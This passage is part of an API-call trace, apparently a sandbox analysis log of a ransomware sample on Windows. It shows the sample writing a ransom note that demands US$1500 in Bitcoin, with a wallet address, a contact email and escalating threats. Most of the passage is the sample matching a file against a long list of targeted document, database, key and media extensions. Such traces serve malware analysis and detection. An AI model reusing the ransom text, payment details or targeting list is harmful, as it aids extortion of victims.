DECRYPT FILES.txt" [0112.116] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\4260e87dc94e25052b34ea78873dfedb\\how to decrypt files.txt")) returned 0xffffffff [0112.116] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\4260e87dc94e25052b34ea78873dfedb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.117] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.117] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.119] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.119] CloseHandle (hObject=0x90) returned 1 [0112.119] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\", lpString2="PresentationFramework.Aero.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll" [0112.119] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.ems") returned 0 [0112.119] lstrlenA (lpString="*.ems") returned 5 [0112.119] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.db") returned 0 [0112.119] lstrlenA (lpString="*.db") returned 4 [0112.119] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.dbf") returned 0 [0112.119] lstrlenA (lpString="*.dbf") returned 5 [0112.119] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.myox") returned 0 [0112.120] lstrlenA (lpString="*.myox") returned 6 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.myo") returned 0 [0112.120] lstrlenA (lpString="*.myo") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbw") returned 0 [0112.120] lstrlenA (lpString="*.qbw") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbb") returned 0 [0112.120] lstrlenA (lpString="*.qbb") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbm") returned 0 [0112.120] lstrlenA (lpString="*.qbm") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbo") returned 0 [0112.120] lstrlenA (lpString="*.qbo") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbx") returned 0 [0112.120] lstrlenA (lpString="*.qbx") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qba") returned 0 [0112.120] lstrlenA (lpString="*.qba") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qby") returned 0 [0112.120] lstrlenA (lpString="*.qby") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qbj") returned 0 [0112.120] lstrlenA (lpString="*.qbj") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.ofx") returned 0 [0112.120] lstrlenA (lpString="*.ofx") returned 5 [0112.120] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.qif") returned 0 [0112.121] lstrlenA (lpString="*.qif") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mye") returned 0 [0112.121] lstrlenA (lpString="*.mye") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mbox") returned 0 [0112.121] lstrlenA (lpString="*.mbox") returned 6 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.eml") returned 0 [0112.121] lstrlenA (lpString="*.eml") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.pst") returned 0 [0112.121] lstrlenA (lpString="*.pst") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.ost") returned 0 [0112.121] lstrlenA (lpString="*.ost") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.idx") returned 0 [0112.121] lstrlenA (lpString="*.idx") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.dbx") returned 0 [0112.121] lstrlenA (lpString="*.dbx") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.sql") returned 0 [0112.121] lstrlenA (lpString="*.sql") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mdb") returned 0 [0112.121] lstrlenA (lpString="*.mdb") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.fdb") returned 0 [0112.121] lstrlenA (lpString="*.fdb") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.wab") returned 0 [0112.121] lstrlenA (lpString="*.wab") returned 5 [0112.121] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.dat") returned 0 [0112.122] lstrlenA (lpString="*.dat") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.txt") returned 0 [0112.122] lstrlenA (lpString="*.txt") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.jpeg") returned 0 [0112.122] lstrlenA (lpString="*.jpeg") returned 6 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.jpg") returned 0 [0112.122] lstrlenA (lpString="*.jpg") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.png") returned 0 [0112.122] lstrlenA (lpString="*.png") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.php") returned 0 [0112.122] lstrlenA (lpString="*.php") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.cs") returned 0 [0112.122] lstrlenA (lpString="*.cs") returned 4 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.cpp") returned 0 [0112.122] lstrlenA (lpString="*.cpp") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.rar") returned 0 [0112.122] lstrlenA (lpString="*.rar") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.zip") returned 0 [0112.122] lstrlenA (lpString="*.zip") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.html") returned 0 [0112.122] lstrlenA (lpString="*.html") returned 6 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.htm") returned 0 [0112.122] lstrlenA (lpString="*.htm") returned 5 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.xlsx") returned 0 [0112.122] lstrlenA (lpString="*.xlsx") returned 6 [0112.122] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.xls") returned 0 [0112.123] lstrlenA (lpString="*.xls") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mp4") returned 0 [0112.123] lstrlenA (lpString="*.mp4") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.ppt") returned 0 [0112.123] lstrlenA (lpString="*.ppt") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.pptx") returned 0 [0112.123] lstrlenA (lpString="*.pptx") returned 6 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.doc") returned 0 [0112.123] lstrlenA (lpString="*.doc") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.dot") returned 0 [0112.123] lstrlenA (lpString="*.dot") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.docx") returned 0 [0112.123] lstrlenA (lpString="*.docx") returned 6 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.7z") returned 0 [0112.123] lstrlenA (lpString="*.7z") returned 4 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.tar") returned 0 [0112.123] lstrlenA (lpString="*.tar") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.bz2") returned 0 [0112.123] lstrlenA (lpString="*.bz2") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.gz") returned 0 [0112.123] lstrlenA (lpString="*.gz") returned 4 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mkv") returned 0 [0112.123] lstrlenA (lpString="*.mkv") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.eml") returned 0 [0112.123] lstrlenA (lpString="*.eml") returned 5 [0112.123] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.msg") returned 0 [0112.124] lstrlenA (lpString="*.msg") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.edb") returned 0 [0112.124] lstrlenA (lpString="*.edb") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.accdb") returned 0 [0112.124] lstrlenA (lpString="*.accdb") returned 7 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.odb") returned 0 [0112.124] lstrlenA (lpString="*.odb") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.java") returned 0 [0112.124] lstrlenA (lpString="*.java") returned 6 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.asm") returned 0 [0112.124] lstrlenA (lpString="*.asm") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.pfx") returned 0 [0112.124] lstrlenA (lpString="*.pfx") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.pem") returned 0 [0112.124] lstrlenA (lpString="*.pem") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.p12") returned 0 [0112.124] lstrlenA (lpString="*.p12") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.gpg") returned 0 [0112.124] lstrlenA (lpString="*.gpg") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.vsd") returned 0 [0112.124] lstrlenA (lpString="*.vsd") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.odg") returned 0 [0112.124] lstrlenA (lpString="*.odg") returned 5 [0112.124] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.raw") returned 0 [0112.125] lstrlenA (lpString="*.raw") returned 5 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.nef") returned 0 [0112.125] lstrlenA (lpString="*.nef") returned 5 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.svg") returned 0 [0112.125] lstrlenA (lpString="*.svg") returned 5 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.psd") returned 0 [0112.125] lstrlenA (lpString="*.psd") returned 5 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.vmx") returned 0 [0112.125] lstrlenA (lpString="*.vmx") returned 5 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.vmdk") returned 0 [0112.125] lstrlenA (lpString="*.vmdk") returned 6 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.vdi") returned 0 [0112.125] lstrlenA (lpString="*.vdi") returned 5 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.lay6") returned 0 [0112.125] lstrlenA (lpString="*.lay6") returned 6 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mpeg") returned 0 [0112.125] lstrlenA (lpString="*.mpeg") returned 6 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.djvu") returned 0 [0112.125] lstrlenA (lpString="*.djvu") returned 6 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.tiff") returned 0 [0112.125] lstrlenA (lpString="*.tiff") returned 6 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.backup") returned 0 [0112.125] lstrlenA (lpString="*.backup") returned 8 [0112.125] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.pdf") returned 0 [0112.125] lstrlenA (lpString="*.pdf") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.cert") returned 0 [0112.126] lstrlenA (lpString="*.cert") returned 6 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.docm") returned 0 [0112.126] lstrlenA (lpString="*.docm") returned 6 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.xlsm") returned 0 [0112.126] lstrlenA (lpString="*.xlsm") returned 6 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.dwg") returned 0 [0112.126] lstrlenA (lpString="*.dwg") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.nd") returned 0 [0112.126] lstrlenA (lpString="*.nd") returned 4 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.tlg") returned 0 [0112.126] lstrlenA (lpString="*.tlg") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.lgb") returned 0 [0112.126] lstrlenA (lpString="*.lgb") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mov") returned 0 [0112.126] lstrlenA (lpString="*.mov") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.xdw") returned 0 [0112.126] lstrlenA (lpString="*.xdw") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.ods") returned 0 [0112.126] lstrlenA (lpString="*.ods") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.wav") returned 0 [0112.126] lstrlenA (lpString="*.wav") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.mp3") returned 0 [0112.126] lstrlenA (lpString="*.mp3") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.aiff") returned 0 [0112.126] lstrlenA (lpString="*.aiff") returned 6 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.flac") returned 0 [0112.126] lstrlenA (lpString="*.flac") returned 6 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.m4a") returned 0 [0112.126] lstrlenA (lpString="*.m4a") returned 5 [0112.126] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\4260e87dc94e25052b34ea78873dfedb\\PresentationFramework.Aero.ni.dll", pszSpec="*.csv") 